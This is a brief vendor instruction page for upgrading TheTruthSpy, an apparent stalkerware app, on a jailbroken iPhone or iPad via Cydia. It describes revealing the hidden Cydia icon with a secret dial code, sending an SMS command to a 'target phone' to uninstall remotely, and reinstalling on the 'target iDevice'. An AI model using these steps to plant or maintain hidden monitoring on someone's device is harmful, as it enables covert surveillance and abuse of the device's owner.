NOTES: This is for the iOS version
Step 1: Uninstall the old version. If you choose to hide Cydia before, dial the secret key (if you haven’t changed it before, the default secret key would be #2003*) to show the icon Cydia again. In Cydia, tap Manage > Packages tab TheTruthSpy > Modify > Uninstall. Or you can uninstall the application remotely by using the monitor number to send SMS command <*#93> to target phone number.
Step 2: Remove old source TheTruthSpy in Cydia. Open Cydia > Manage > Sources > Edit> tab thetruthspy > Delete > Wait for process finish.
Step 3: Add new source and install TheTruthSpy new version. Repeat all steps in User Guide document to add new source and install TheTruthSpy new version: http://thetruthspy.com/download-center
After you finish installing process, don’t forget to reboot the target iDevice (iPhone, iPad, iPod Touch) then log in to your account on TheTruthSpy interface.